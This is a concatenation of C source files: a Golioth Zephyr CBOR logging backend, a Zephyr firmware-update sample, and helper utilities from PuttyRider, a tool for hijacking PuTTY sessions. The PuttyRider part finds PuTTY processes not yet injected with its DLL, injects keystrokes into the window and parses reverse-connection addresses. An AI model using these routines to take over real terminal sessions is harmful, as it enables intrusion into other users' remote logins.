offset = cbor->encoder.writer->bytes_written + CBOR_SPACE_RESERVED;
pdu->begin = pdu->ptr = cbor->buf + offset;
pdu->end = &cbor->buf[cbor->buf_len];
if (pdu->begin > pdu->end) {
DBG("not enough space for encoding PDU\n");
return -ENOMEM;
}
return 0;
}
static void log_pdu_text_finish(struct golioth_pdu_ctx *pdu,
struct golioth_cbor_ctx *cbor)
{
/*
* Encode formatted message from tail of CBOR buffer as CBOR map value.
*
* TODO: Use custom CBOR writer, which will use memmove().
*/
cbor_encode_text_string(&cbor->map, pdu->begin, pdu->ptr - pdu->begin);
}
static void log_pdu_bytes_finish(struct golioth_pdu_ctx *pdu,
struct golioth_cbor_ctx *cbor)
{
/*
* Encode binary data from tail of CBOR buffer as CBOR map value.
*
* TODO: Use custom CBOR writer, which will use memmove().
*/
cbor_encode_byte_string(&cbor->map, pdu->begin, pdu->ptr - pdu->begin);
}
static int cbprintf_out_func(int c, void *out_ctx)
{
struct golioth_log_ctx *ctx = out_ctx;
struct golioth_pdu_ctx *pdu = &ctx->pdu;
if (pdu->ptr >= pdu->end) {
/*
* TODO: send current packet and create new one
*/
DBG("no more space for formatted message\n");
return 0;
}
*pdu->ptr = (uint8_t)c;
pdu->ptr++;
__ASSERT_NO_MSG(pdu->ptr <= pdu->end);
return 0;
}
static int append_formatted_str(struct golioth_log_ctx *ctx,
const char *fmt, ...)
{
va_list args;
int length = 0;
va_start(args, fmt);
length = cbvprintf(cbprintf_out_func, ctx, fmt, args);
va_end(args);
return length;
}
static void log_format(struct golioth_log_ctx *ctx, const char *str,
uint32_t nargs, uint32_t *args)
{
switch (nargs) {
case 0:
append_formatted_str(ctx, str);
break;
case 1:
append_formatted_str(ctx, str, args[0]);
break;
case 2:
append_formatted_str(ctx, str, args[0],
args[1]);
break;
case 3:
append_formatted_str(ctx, str, args[0],
args[1], args[2]);
break;
case 4:
append_formatted_str(ctx, str, args[0],
args[1], args[2], args[3]);
break;
case 5:
append_formatted_str(ctx, str, args[0],
args[1], args[2], args[3], args[4]);
break;
case 6:
append_formatted_str(ctx, str, args[0],
args[1], args[2], args[3], args[4], args[5]);
break;
case 7:
append_formatted_str(ctx, str, args[0],
args[1], args[2], args[3], args[4], args[5],
args[6]);
break;
case 8:
append_formatted_str(ctx, str, args[0],
args[1], args[2], args[3], args[4], args[5],
args[6], args[7]);
break;
case 9:
append_formatted_str(ctx, str, args[0],
args[1], args[2], args[3], args[4], args[5],
args[6], args[7], args[8]);
break;
case 10:
append_formatted_str(ctx, str, args[0],
args[1], args[2], args[3], args[4], args[5],
args[6], args[7], args[8], args[9]);
break;
case 11:
append_formatted_str(ctx, str, args[0],
args[1], args[2], args[3], args[4], args[5],
args[6], args[7], args[8], args[9], args[10]);
break;
case 12:
append_formatted_str(ctx, str, args[0],
args[1], args[2], args[3], args[4], args[5],
args[6], args[7], args[8], args[9], args[10],
args[11]);
break;
case 13:
append_formatted_str(ctx, str, args[0],
args[1], args[2], args[3], args[4], args[5],
args[6], args[7], args[8], args[9], args[10],
args[11], args[12]);
break;
case 14:
append_formatted_str(ctx, str, args[0],
args[1], args[2], args[3], args[4], args[5],
args[6], args[7], args[8], args[9], args[10],
args[11], args[12], args[13]);
break;
case 15:
append_formatted_str(ctx, str, args[0],
args[1], args[2], args[3], args[4], args[5],
args[6], args[7], args[8], args[9], args[10],
args[11], args[12], args[13], args[14]);
break;
default:
/* Unsupported number of arguments. */
__ASSERT_NO_MSG(true);
break;
}
}
static int std_encode(struct golioth_log_ctx *ctx, struct log_msg *msg)
{
struct golioth_cbor_ctx *cbor = &ctx->cbor;
struct golioth_pdu_ctx *pdu = &ctx->pdu;
const char *str = log_msg_str_get(msg);
uint32_t nargs = log_msg_nargs_get(msg);
uint32_t *args = alloca(sizeof(uint32_t)*nargs);
uint32_t level = log_msg_level_get(msg);
bool has_func = (BIT(level) & LOG_FUNCTION_PREFIX_MASK);
size_t fields = CBOR_INDEX_FIELDS + CBOR_HEADERS_FIELDS +
(has_func ? 1 : 0) + CBOR_MSG_FIELDS;
int err;
for (int i = 0; i < nargs; i++) {
args[i] = log_msg_arg_get(msg, i);
}
log_cbor_create_map(ctx, fields);
log_cbor_append_index(ctx);
log_cbor_append_headers(ctx, msg);
if (has_func) {
log_cbor_append_func(ctx, (void *)args[0]);
/* move after '%s: ' prefix */
str += sizeof("%s: ") - 1;
/* consume function name pointer */
args++;
nargs--;
}
cbor_encode_text_stringz(&cbor->map, "msg");
err = log_pdu_prepare(pdu, cbor);
if (err) {
return err;
}
log_format(ctx, str, nargs, args);
log_pdu_text_finish(pdu, cbor);
log_cbor_close_map(ctx);
return 0;
}
static int raw_string_encode(struct golioth_log_ctx *ctx, struct log_msg *msg)
{
struct golioth_cbor_ctx *cbor = &ctx->cbor;
struct golioth_pdu_ctx *pdu = &ctx->pdu;
size_t length;
int err;
log_cbor_create_map(ctx, CBOR_INDEX_FIELDS + CBOR_MSG_FIELDS);
log_cbor_append_index(ctx);
cbor_encode_text_stringz(&cbor->map, "msg");
err = log_pdu_prepare(pdu, cbor);
if (err) {
return err;
}
length = pdu->end - pdu->begin;
log_msg_hexdump_data_get(msg, pdu->begin, &length, 0);
if (length > 0) {
/* Trim newline */
if (pdu->ptr[length - 1] == '\n') {
length--;
}
pdu->ptr += length;
}
log_pdu_text_finish(pdu, cbor);
log_cbor_close_map(ctx);
return 0;
}
static int hexdump_encode(struct golioth_log_ctx *ctx, struct log_msg *msg)
{
struct golioth_cbor_ctx *cbor = &ctx->cbor;
struct golioth_pdu_ctx *pdu = &ctx->pdu;
size_t length;
int err;
log_cbor_create_map(ctx,
CBOR_INDEX_FIELDS + CBOR_HEADERS_FIELDS +
CBOR_MSG_FIELDS + CBOR_HEXDUMP_FIELDS);
log_cbor_append_index(ctx);
log_cbor_append_headers(ctx, msg);
cbor_encode_text_stringz(&cbor->map, "msg");
cbor_encode_text_stringz(&cbor->map, log_msg_str_get(msg));
cbor_encode_text_stringz(&cbor->map, "hexdump");
err = log_pdu_prepare(pdu, cbor);
if (err) {
return err;
}
length = pdu->end - pdu->begin;
log_msg_hexdump_data_get(msg, pdu->begin, &length, 0);
pdu->ptr += length;
log_pdu_bytes_finish(pdu, cbor);
log_cbor_close_map(ctx);
return 0;
}
static int log_msg_process(struct golioth_log_ctx *ctx, struct log_msg *msg)
{
uint8_t level = (uint8_t)log_msg_level_get(msg);
bool raw_string = (level == LOG_LEVEL_INTERNAL_RAW_STRING);
int err;
log_msg_get(msg);
ctx->msg_part = 0;
err = log_packet_prepare(ctx);
if (err) {
return err;
}
if (log_msg_is_std(msg)) {
err = std_encode(ctx, msg);
} else if (raw_string) {
err = raw_string_encode(ctx, msg);
} else {
err = hexdump_encode(ctx, msg);
}
if (err) {
return err;
}
err = log_packet_finish(ctx);
if (err) {
return err;
}
golioth_send_coap(ctx->client, &ctx->coap_packet);
ctx->msg_index++;
log_msg_put(msg);
return 0;
}
static void send_output(const struct log_backend *const backend,
struct log_msg *msg)
{
struct golioth_log_ctx *ctx = backend->cb->ctx;
if (ctx->panic_mode) {
return;
}
log_msg_process(ctx, msg);
}
static const struct log_backend log_backend_golioth;
static void init_golioth(const struct log_backend *const backend)
{
log_backend_deactivate(&log_backend_golioth);
}
static void panic(struct log_backend const *const backend)
{
struct golioth_log_ctx *ctx = backend->cb->ctx;
ctx->panic_mode = true;
}
static void dropped(const struct log_backend *const backend, uint32_t cnt)
{
struct golioth_log_ctx *ctx = backend->cb->ctx;
ctx->msg_index += cnt;
}
static const struct log_backend_api log_backend_golioth_api = {
.panic = panic,
.init = init_golioth,
.put = IS_ENABLED(CONFIG_LOG_IMMEDIATE) ? NULL : send_output,
.dropped = IS_ENABLED(CONFIG_LOG_IMMEDIATE) ? NULL : dropped,
};
/* Note that the backend can be activated only after we have networking
* subsystem ready so we must not start it immediately.
*/
LOG_BACKEND_DEFINE(log_backend_golioth, log_backend_golioth_api, false);
static struct golioth_log_ctx log_ctx;
int log_backend_golioth_init(struct golioth_client *client)
{
log_ctx.client = client;
log_backend_activate(&log_backend_golioth, &log_ctx);
return 0;
}
|
ubieda/zephyr-sdk | samples/dfu/src/main.c | <reponame>ubieda/zephyr-sdk
/*
* Copyright (c) 2021 Golioth, Inc.
*
* SPDX-License-Identifier: Apache-2.0
*/
#include <logging/log.h>
LOG_MODULE_REGISTER(golioth_dfu, LOG_LEVEL_DBG);
#include <net/coap.h>
#include <net/golioth/system_client.h>
#include <net/golioth/wifi.h>
#include <dfu/flash_img.h>
#include <dfu/mcuboot.h>
#include <logging/log_ctrl.h>
#include <power/reboot.h>
#include <stdlib.h>
#include <storage/flash_map.h>
#define REBOOT_DELAY_SEC 1
static struct golioth_client *client = GOLIOTH_SYSTEM_CLIENT_GET();
static struct coap_reply coap_replies[1];
struct dfu_ctx {
struct golioth_blockwise_observe_ctx observe;
struct flash_img_context flash;
};
static struct dfu_ctx update_ctx;
/**
* Determines if the specified area of flash is completely unwritten.
*
* @note This is a copy of zephyr_img_mgmt_flash_check_empty() from mcumgr.
*/
static int flash_area_check_empty(const struct flash_area *fa,
bool *out_empty)
{
uint32_t data[16];
off_t addr;
off_t end;
int bytes_to_read;
int rc;
int i;
__ASSERT_NO_MSG(fa->fa_size % 4 == 0);
end = fa->fa_size;
for (addr = 0; addr < end; addr += sizeof(data)) {
if (end - addr < sizeof(data)) {
bytes_to_read = end - addr;
} else {
bytes_to_read = sizeof(data);
}
rc = flash_area_read(fa, addr, data, bytes_to_read);
if (rc != 0) {
flash_area_close(fa);
return rc;
}
for (i = 0; i < bytes_to_read / 4; i++) {
if (data[i] != 0xffffffff) {
*out_empty = false;
flash_area_close(fa);
return 0;
}
}
}
*out_empty = true;
return 0;
}
static int flash_img_erase_if_needed(struct flash_img_context *ctx)
{
bool empty;
int err;
if (IS_ENABLED(CONFIG_IMG_ERASE_PROGRESSIVELY)) {
return 0;
}
err = flash_area_check_empty(ctx->flash_area, &empty);
if (err) {
return err;
}
if (empty) {
return 0;
}
err = flash_area_erase(ctx->flash_area, 0, ctx->flash_area->fa_size);
if (err) {
return err;
}
return 0;
}
static const char *swap_type_str(int swap_type)
{
switch (swap_type) {
case BOOT_SWAP_TYPE_NONE:
return "none";
case BOOT_SWAP_TYPE_TEST:
return "test";
case BOOT_SWAP_TYPE_PERM:
return "perm";
case BOOT_SWAP_TYPE_REVERT:
return "revert";
case BOOT_SWAP_TYPE_FAIL:
return "fail";
}
return "unknown";
}
static int flash_img_prepare(struct flash_img_context *flash)
{
int swap_type;
int err;
swap_type = mcuboot_swap_type();
switch (swap_type) {
case BOOT_SWAP_TYPE_REVERT:
LOG_WRN("'revert' swap type detected, it is not safe to continue");
return -EBUSY;
default:
LOG_INF("swap type: %s", swap_type_str(swap_type));
break;
}
err = flash_img_init(flash);
if (err) {
LOG_ERR("failed to init: %d", err);
return err;
}
err = flash_img_erase_if_needed(flash);
if (err) {
LOG_ERR("failed to erase: %d", err);
return err;
}
return 0;
}
static int data_received(struct golioth_blockwise_observe_ctx *observe,
const uint8_t *data, size_t offset, size_t len,
bool last)
{
struct dfu_ctx *dfu = CONTAINER_OF(observe, struct dfu_ctx, observe);
int err;
LOG_DBG("Received %zu bytes at offset %zu%s", len, offset,
last ? " (last)" : "");
if (offset == 0) {
err = flash_img_prepare(&dfu->flash);
if (err) {
return err;
}
}
err = flash_img_buffered_write(&dfu->flash, data, len, last);
if (err) {
LOG_ERR("Failed to write to flash: %d", err);
return err;
}
if (offset > 0 && last) {
LOG_INF("Requesting upgrade");
err = boot_request_upgrade(BOOT_UPGRADE_TEST);
if (err) {
LOG_ERR("Failed to request upgrade: %d", err);
return err;
}
LOG_INF("Rebooting in %d second(s)", REBOOT_DELAY_SEC);
/* Synchronize logs */
LOG_PANIC();
k_sleep(K_SECONDS(REBOOT_DELAY_SEC));
sys_reboot(SYS_REBOOT_COLD);
}
return 0;
}
static void golioth_on_connect(struct golioth_client *client)
{
struct coap_reply *reply;
int err;
int i;
for (i = 0; i < ARRAY_SIZE(coap_replies); i++) {
coap_reply_clear(&coap_replies[i]);
}
reply = coap_reply_next_unused(coap_replies, ARRAY_SIZE(coap_replies));
if (!reply) {
LOG_ERR("No more reply handlers");
}
err = golioth_observe_blockwise(client, &update_ctx.observe, "update",
reply, data_received);
if (err) {
coap_reply_clear(reply);
}
}
static void golioth_on_message(struct golioth_client *client,
struct coap_packet *rx)
{
uint16_t payload_len;
const uint8_t *payload;
uint8_t type;
type = coap_header_get_type(rx);
payload = coap_packet_get_payload(rx, &payload_len);
(void)coap_response_received(rx, NULL, coap_replies,
ARRAY_SIZE(coap_replies));
}
void main(void)
{
int err;
LOG_DBG("Start DFU sample");
err = boot_write_img_confirmed();
if (err) {
LOG_ERR("Failed to confirm image: %d", err);
}
if (IS_ENABLED(CONFIG_GOLIOTH_SAMPLE_WIFI)) {
LOG_INF("Connecting to WiFi");
wifi_connect();
}
client->on_connect = golioth_on_connect;
client->on_message = golioth_on_message;
golioth_system_client_start();
while (true) {
err = golioth_send_hello(client);
if (err) {
LOG_WRN("Failed to send hello: %d", err);
}
k_sleep(K_SECONDS(5));
}
}
|
carlmon/PuttyRider | Utils.c | #include "Utils.h"
#include <string.h>
#include <limits.h>
#include <stdio.h>
#include <tlhelp32.h>
#include <shlwapi.h>
#include <psapi.h>
#include <ws2tcpip.h>
/* Global variable needed by GetWindowHandler() */
HWND g_HWND = NULL;
/* An implementation of Boyer Moore Horspool algorithm
* Source: http://en.wikipedia.org/wiki/Boyer%E2%80%93Moore%E2%80%93Horspool_algorithm
*
* Returns a pointer to the first occurrence of "needle"
* within "haystack", or NULL if not found. Works like
* memmem().
*
* Note: In this example needle is a C string. The ending
* 0x00 will be cut off, so you could call this example with
* memmem(haystack, hlen, "abc", sizeof("abc")-1)
*/
const unsigned char* memmem(const unsigned char* haystack, size_t hlen,
const unsigned char* needle, size_t nlen)
{
size_t scan = 0;
size_t bad_char_skip[UCHAR_MAX + 1]; /* Officially called:
* bad character shift */
size_t last;
/* Sanity checks on the parameters */
if (nlen <= 0 || !haystack || !needle)
return NULL;
/* ---- Preprocess ---- */
/* Initialize the table to default value */
/* When a character is encountered that does not occur
* in the needle, we can safely skip ahead for the whole
* length of the needle.
*/
for (scan = 0; scan <= UCHAR_MAX; scan = scan + 1)
bad_char_skip[scan] = nlen;
/* C arrays have the first byte at [0], therefore:
* [nlen - 1] is the last byte of the array. */
last = nlen - 1;
/* Then populate it with the analysis of the needle */
for (scan = 0; scan < last; scan = scan + 1)
bad_char_skip[needle[scan]] = last - scan;
/* ---- Do the matching ---- */
/* Search the haystack, while the needle can still be within it. */
while (hlen >= nlen)
{
/* scan from the end of the needle */
for (scan = last; haystack[scan] == needle[scan]; scan = scan - 1)
if (scan == 0) /* If the first byte matches, we've found it. */
return haystack;
/* otherwise, we need to skip some bytes and start again.
Note that here we are getting the skip value based on the last byte
of needle, no matter where we didn't match. So if needle is: "abcd"
then we are skipping based on 'd' and that value will be 4, and
for "abcdd" we again skip on 'd' but the value will be only 1.
The alternative of pretending that the mismatched character was
the last character is slower in the normal case (E.g. finding
"abcd" in "...azcd..." gives 4 by using 'd' but only
4-2==2 using 'z'. */
hlen -= bad_char_skip[haystack[last]];
haystack += bad_char_skip[haystack[last]];
}
return NULL;
}
DWORD GetModuleBaseAddress()
{
/* Source: http://www.cheatengine.org/forum/viewtopic.php?t=567806 */
MODULEENTRY32 me32 = { sizeof(MODULEENTRY32) };
HANDLE hSnapshot = CreateToolhelp32Snapshot(TH32CS_SNAPMODULE, GetCurrentProcessId());
if (hSnapshot == INVALID_HANDLE_VALUE) {
return 0;
}
if (Module32First( hSnapshot, &me32 )) {
CloseHandle( hSnapshot );
return (DWORD)me32.modBaseAddr;
}
CloseHandle(hSnapshot);
return 0;
}
BOOL GetTextSection(CHAR* modulePath, PDWORD pStartAddr, PDWORD pSize)
{
/* Adapted after https://rstforums.com/proiecte/Licenta.docx */
FILE* pFD;
IMAGE_DOS_HEADER dosHeader;
IMAGE_NT_HEADERS ntHeaders;
IMAGE_SECTION_HEADER sectHeader;
SIZE_T numBytes;
SIZE_T i;
BOOL bFound = FALSE;
unsigned char* pRawSectionTable;
if ((pFD = fopen(modulePath, "rb")) == NULL) {
printf("[-] Could not open module %s\n", modulePath);
return FALSE;
}
/* Read the DOS header */
if (fread(&dosHeader, 1, sizeof(dosHeader), pFD) != sizeof(dosHeader)) {
printf("[-] Could not read DOS header\n");
return FALSE;
}
/* Seek to NT headers position */
if(fseek(pFD, dosHeader.e_lfanew, SEEK_SET) != 0) {
printf("[-] Could not seek to NT headers\n");
return FALSE;
}
/* Read the NT headers */
if (fread(&ntHeaders, 1, sizeof(ntHeaders), pFD) != sizeof(ntHeaders)) {
printf("[-] Could not read NT headers\n");
return FALSE;
}
/* File pointer is positioned immediatly afer NT Headers so we can read the section table */
pRawSectionTable = (unsigned char *)malloc(ntHeaders.FileHeader.NumberOfSections * sizeof(IMAGE_SECTION_HEADER));
if(pRawSectionTable == NULL) {
printf("[-] Could not allocate memory\n");
return FALSE;
}
/* Read Sections table */
numBytes = ntHeaders.FileHeader.NumberOfSections * sizeof(IMAGE_SECTION_HEADER);
if(fread(pRawSectionTable, 1, numBytes, pFD) != numBytes) {
printf("[-] Could not read Sections table\n");
free(pRawSectionTable);
return FALSE;
}
/* Iterate through each section from our buffer */
for(i = 0; i < numBytes; i += sizeof(IMAGE_SECTION_HEADER)) {
sectHeader = *(IMAGE_SECTION_HEADER *)(pRawSectionTable + i);
if(strcmp(sectHeader.Name, ".text") == 0) {
*pStartAddr = sectHeader.VirtualAddress;
*pSize = sectHeader.Misc.VirtualSize;
bFound = TRUE;
break;
}
/*
printf("Section #%d\n", i / sizeof(IMAGE_SECTION_HEADER));
printf("Name: %s\n", sectHeader.Name);
printf("VirtualSize: %.8lX\n", sectHeader.Misc.VirtualSize);
printf("VirtualAddress: %.8lX\n", sectHeader.VirtualAddress);
printf("SizeOfRawData %lu\n", sectHeader.SizeOfRawData);
printf("PointerToRawData: %.8lX\n", sectHeader.PointerToRawData);
printf("PointerToLinenumbers: %.8lX\n", sectHeader.PointerToLinenumbers);
printf("NumberOfRelocations: %d\n", sectHeader.NumberOfRelocations);
printf("NumberOfLinenumbers: %d\n", sectHeader.NumberOfLinenumbers);
printf("Characteristics: %.8lX\n\n", sectHeader.Characteristics);
*/
}
free(pRawSectionTable);
fclose(pFD);
if(bFound == FALSE) {
printf("[-] Could not find .text section\n");
return FALSE;
}
return TRUE;
}
BOOL HexStringToBytes(CHAR* pHexStr, UCHAR* pByteArray)
{
SIZE_T iStrLen = strlen(pHexStr);
SIZE_T i;
if (iStrLen % 2 != 0) {
printf("[-] Hex string length must be multiple of 2\n");
return FALSE;
}
for (i = 0; i < iStrLen/2; i++) {
sscanf(pHexStr + 2*i, "%02x", &pByteArray[i]);
}
return TRUE;
}
BOOL ReadPipeMessage(HANDLE hPipe, CHAR* buffer)
{
DWORD msgSize;
DWORD numBytes;
memset(buffer, 0, BUFSIZE);
if (ReadFile(hPipe, &msgSize, sizeof(DWORD), &numBytes, NULL) == FALSE || numBytes != sizeof(DWORD)) {
return FALSE;
}
//printf("New message: %i bytes\n", msgSize);
if (msgSize >= BUFSIZE) {
printf("[-] Message too big: %i\n", msgSize);
return FALSE;
}
if (ReadFile(hPipe, buffer, msgSize, &numBytes, NULL) == FALSE || numBytes != msgSize) {
return FALSE;
}
return TRUE;
}
BOOL WritePipeMessage(HANDLE hPipe, CHAR* buffer)
{
DWORD msgSize = strlen(buffer);
DWORD numBytes;
if (WriteFile(hPipe, &msgSize, sizeof(DWORD), &numBytes, NULL) == FALSE || numBytes != sizeof(DWORD)) {
return FALSE;
}
//printf("Sending message: %i bytes\n", msgSize);
/* We do not send the trailing 0 on the pipe but must leave 1 byte for the receiver to fill the 0 */
if (msgSize >= BUFSIZE-1) {
msgSize = BUFSIZE-1;
}
if (WriteFile(hPipe, buffer, msgSize, &numBytes, NULL) == FALSE || numBytes != msgSize) {
return FALSE;
}
return TRUE;
}
/* Returns the first established TCP connection for the given process id
* Adapted after http://msdn.microsoft.com/en-us/library/windows/desktop/aa366026%28v=vs.85%29.aspx
*/
BOOL GetEstablishedConnOfPid(DWORD pid, MIB_TCPROW_OWNER_PID* pConnInfo)
{
#define MALLOC(x) HeapAlloc(GetProcessHeap(), 0, (x))
#define FREE(x) HeapFree(GetProcessHeap(), 0, (x))
MIB_TCPTABLE_OWNER_PID* pTcpTable;
DWORD dwSize;
DWORD dwRetVal;
DWORD i;
BOOL bFound = FALSE;
/* Make an initial call to GetExtendedTcpTable to get
* the necessary size into the dwSize variable
*/
if ((dwRetVal = GetExtendedTcpTable(NULL, &dwSize, TRUE, AF_INET, TCP_TABLE_OWNER_PID_ALL, 0)) == ERROR_INSUFFICIENT_BUFFER) {
pTcpTable = (MIB_TCPTABLE_OWNER_PID*)MALLOC(dwSize);
if (pTcpTable == NULL) {
printf("[-] Error allocating memory\n");
return FALSE;
}
}
/* Make a second call to GetTcpTable to get
* the actual data we require
*/
if ((dwRetVal = GetExtendedTcpTable(pTcpTable, &dwSize, TRUE, AF_INET, TCP_TABLE_OWNER_PID_ALL, 0)) == NO_ERROR) {
for (i = 0; i < pTcpTable->dwNumEntries; i++) {
if (pTcpTable->table[i].dwOwningPid == pid && pTcpTable->table[i].dwState == MIB_TCP_STATE_ESTAB) {
*pConnInfo = pTcpTable->table[i];
bFound = TRUE;
break;
}
}
} else {
printf("[-] GetExtendedTcpTable failed\n");
FREE(pTcpTable);
return FALSE;
}
if (pTcpTable != NULL) {
FREE(pTcpTable);
pTcpTable = NULL;
}
return bFound;
}
/* Converts an IPv4 address from DWORD to dotted notation string
*/
BOOL IPv4ToString(DWORD ip, CHAR* dst, INT dstSize)
{
struct in_addr IpAddr;
IpAddr.S_un.S_addr = (u_long) ip;
strcpy_s(dst, dstSize, inet_ntoa(IpAddr));
return TRUE;
}
VOID PrintLastError()
{
LPSTR messageBuffer = NULL;
size_t size;
DWORD errorMessageID = GetLastError();
if(errorMessageID == 0) {
return;
}
size = FormatMessageA(FORMAT_MESSAGE_ALLOCATE_BUFFER | FORMAT_MESSAGE_FROM_SYSTEM | FORMAT_MESSAGE_IGNORE_INSERTS,
NULL, errorMessageID, MAKELANGID(LANG_NEUTRAL, SUBLANG_DEFAULT), (LPSTR)&messageBuffer, 0, NULL);
printf("Error: %.*s\n", size, messageBuffer);
//Free the buffer.
LocalFree(messageBuffer);
return;
}
/* Find the pid of the first process named procName
*/
DWORD GetPidFromProcname(CHAR* procName)
{
PROCESSENTRY32 pe;
HANDLE hSnapshot;
BOOL retVal;
hSnapshot = CreateToolhelp32Snapshot(TH32CS_SNAPPROCESS, 0);
if(hSnapshot == INVALID_HANDLE_VALUE) {
printf("[-] Failed to create snapshot of running processes\n");
return 0;
}
pe.dwSize = sizeof(PROCESSENTRY32);
retVal = Process32First(hSnapshot, &pe);
while(retVal) {
if(StrStrI(pe.szExeFile, procName) != NULL) {
return pe.th32ProcessID;
}
retVal = Process32Next(hSnapshot,&pe);
pe.dwSize = sizeof(PROCESSENTRY32);
}
return 0;
}
/* Enumerate all Putty processes and return the first one that is not injected with our DLL
*/
DWORD GetPidNotInjected(CHAR* procName, UCHAR* dllName)
{
PROCESSENTRY32 pe;
HANDLE hSnapshot;
BOOL retVal;
INT i;
BOOL bFound;
hSnapshot = CreateToolhelp32Snapshot(TH32CS_SNAPPROCESS, 0);
if(hSnapshot == INVALID_HANDLE_VALUE) {
printf("[-] Failed to create snapshot of running processes\n");
return 0;
}
pe.dwSize = sizeof(PROCESSENTRY32);
retVal = Process32First(hSnapshot, &pe);
while(retVal) {
if(StrStrI(pe.szExeFile, procName) != NULL) {
if (IsDllLoaded(pe.th32ProcessID, dllName) == FALSE) {
return pe.th32ProcessID;
}
}
retVal = Process32Next(hSnapshot,&pe);
pe.dwSize = sizeof(PROCESSENTRY32);
}
return 0;
}
VOID ListPuttyProcesses(UCHAR* procName, UCHAR* dllName)
{
PROCESSENTRY32 pe;
HANDLE hSnapshot;
BOOL retVal;
MIB_TCPROW_OWNER_PID connInfo;
CHAR ipAddr1[BUFSIZE];
CHAR ipAddr2[BUFSIZE];
UCHAR buffer[BUFSIZE];
UCHAR dllInjected[BUFSIZE];
hSnapshot = CreateToolhelp32Snapshot(TH32CS_SNAPPROCESS, 0);
if(hSnapshot == INVALID_HANDLE_VALUE) {
printf("[-] Failed to create snapshot of running processes\n");
return;
}
pe.dwSize = sizeof(PROCESSENTRY32);
retVal = Process32First(hSnapshot, &pe);
printf("\n");
printf("Process Name\tPID\tLocal Address\t\tRemote Address\t\tInjected\n");
printf("------------\t---\t-------------\t\t--------------\t\t--------\n");
while(retVal) {
if(StrStrI(pe.szExeFile, procName) != NULL) {
if(IsDllLoaded(pe.th32ProcessID, dllName) == TRUE) {
sprintf(dllInjected, "Yes");
} else {
sprintf(dllInjected, "No");
}
printf("%s\t%i\t", procName, pe.th32ProcessID);
if (GetEstablishedConnOfPid(pe.th32ProcessID, &connInfo) == FALSE) {
printf("- \t\t- \t\t%s\n", dllInjected);
} else {
IPv4ToString(connInfo.dwLocalAddr, ipAddr1, BUFSIZE);
printf("%s:%i\t", ipAddr1, ntohs(connInfo.dwLocalPort));
IPv4ToString(connInfo.dwRemoteAddr, ipAddr2, BUFSIZE);
printf("%s:%i\t", ipAddr2, ntohs(connInfo.dwRemotePort));
printf("%s\n", dllInjected);
}
}
retVal = Process32Next(hSnapshot,&pe);
pe.dwSize = sizeof(PROCESSENTRY32);
}
printf("\n");
return;
}
BOOL CALLBACK EnumWindowsProc(HWND hWnd, LPARAM lParam)
{
DWORD dwProcessId;
UCHAR tmpBuf[BUFSIZE];
GetWindowThreadProcessId(hWnd, &dwProcessId);
if (dwProcessId == lParam) {
memset(tmpBuf, 0, BUFSIZE);
GetClassName(hWnd, tmpBuf, BUFSIZE);
if (strcmp(tmpBuf, "PuTTY") == 0) {
g_HWND = hWnd;
return FALSE;
}
}
return TRUE;
}
HWND GetCurrentWindowHandler()
{
EnumWindows(EnumWindowsProc, GetCurrentProcessId());
return g_HWND;
}
/* Simulate a key press in the main Putty window
*/
BOOL PressPuttyKey(UINT keyCode)
{
HWND hWnd;
hWnd = GetCurrentWindowHandler();
if (hWnd == NULL) {
return FALSE;
}
SetLastError(ERROR_SUCCESS);
PostMessage(hWnd, WM_CHAR, keyCode, 0);
if (GetLastError() != ERROR_SUCCESS) {
return FALSE;
}
return TRUE;
}
/* Tell if the DLL is loaded in the target process
* http://msdn.microsoft.com/en-us/library/windows/desktop/ms682621%28v=vs.85%29.aspx
*/
BOOL IsDllLoaded( DWORD processID, UCHAR* dllName )
{
HMODULE hMods[1024];
HANDLE hProcess;
DWORD cbNeeded;
unsigned int i;
/* Get a handle to the process. */
hProcess = OpenProcess( PROCESS_QUERY_INFORMATION |
PROCESS_VM_READ,
FALSE, processID );
if (NULL == hProcess) {
return FALSE;
}
/* Get a list of all the modules in this process. */
if( EnumProcessModules(hProcess, hMods, sizeof(hMods), &cbNeeded))
{
for ( i = 0; i < (cbNeeded / sizeof(HMODULE)); i++ )
{
TCHAR szModName[MAX_PATH];
/* Get the full path to the module's file. */
if ( GetModuleFileNameEx( hProcess, hMods[i], szModName,
sizeof(szModName) / sizeof(TCHAR)))
{
// Print the module name and handle value.
if (strcmp(dllName, szModName) == 0) {
CloseHandle( hProcess );
return TRUE;
}
}
}
}
/* Release the handle to the process. */
CloseHandle( hProcess );
return FALSE;
}
/* Convert wide-char to normal char
*/
VOID ConvertToChar(WCHAR *wbuf, CHAR *buf)
{
while (*buf++ = (CHAR)*wbuf++);
}
/* Get the pid of parent process
* https://gist.github.com/253013/d47b90159cf8ffa4d92448614b748aa1d235ebe4
*/
DWORD GetPPid()
{
HANDLE hSnapshot;
PROCESSENTRY32 pe32;
DWORD ppid = 0;
DWORD pid = GetCurrentProcessId();
hSnapshot = CreateToolhelp32Snapshot( TH32CS_SNAPPROCESS, 0 );
if( hSnapshot == INVALID_HANDLE_VALUE ) {
return 0;
}
ZeroMemory( &pe32, sizeof( pe32 ) );
pe32.dwSize = sizeof( pe32 );
if( !Process32First( hSnapshot, &pe32 ) ) {
return 0;
}
do {
if( pe32.th32ProcessID == pid ){
ppid = pe32.th32ParentProcessID;
break;
}
} while( Process32Next( hSnapshot, &pe32 ) );
CloseHandle( hSnapshot );
return ppid;
}
BOOL ValidateIPv4Address(CHAR* ipAddr)
{
struct sockaddr_in sa;
int result = inet_pton(AF_INET, ipAddr, &(sa.sin_addr));
return result != 0;
}
BOOL ParseIPPort(CHAR* connectBackInfo, CHAR* connectBackIP, DWORD* connectBackPort)
{
CHAR* pos;
if (strlen(connectBackInfo) < 3) {
printf("[-] Invalid format for reverse connection. Must be IP:PORT\n");
return FALSE;
}
pos = strstr(connectBackInfo, ":");
if (pos == NULL) {
printf("[-] Invalid format for reverse connection. Must be IP:PORT\n");
return FALSE;
}
if (connectBackInfo[0] == ':' || connectBackInfo[strlen(connectBackInfo)-1] == ':') {
printf("[-] Invalid format for reverse connection. Must be IP:PORT\n");
return FALSE;
}
*pos = 0;
sprintf(connectBackIP, connectBackInfo);
if (ValidateIPv4Address(connectBackIP) == FALSE) {
printf("[-] Invalid IP address for reverse connection\n");
return FALSE;
}
if (sscanf(pos+1, "%d", connectBackPort) == 0) {
printf("[-] Invalid port number for reverse connection. Must be an integer\n");
return FALSE;
}
if (*connectBackPort <= 0 || *connectBackPort > 65535) {
printf("[-] Invalid port number for reverse connection. Must be in range 0..65535\n");
return FALSE;
}
return TRUE;
} |
carlmon/PuttyRider | Utils.h | <gh_stars>100-1000
#ifndef __UTILS_H__
#define __UTILS_H__
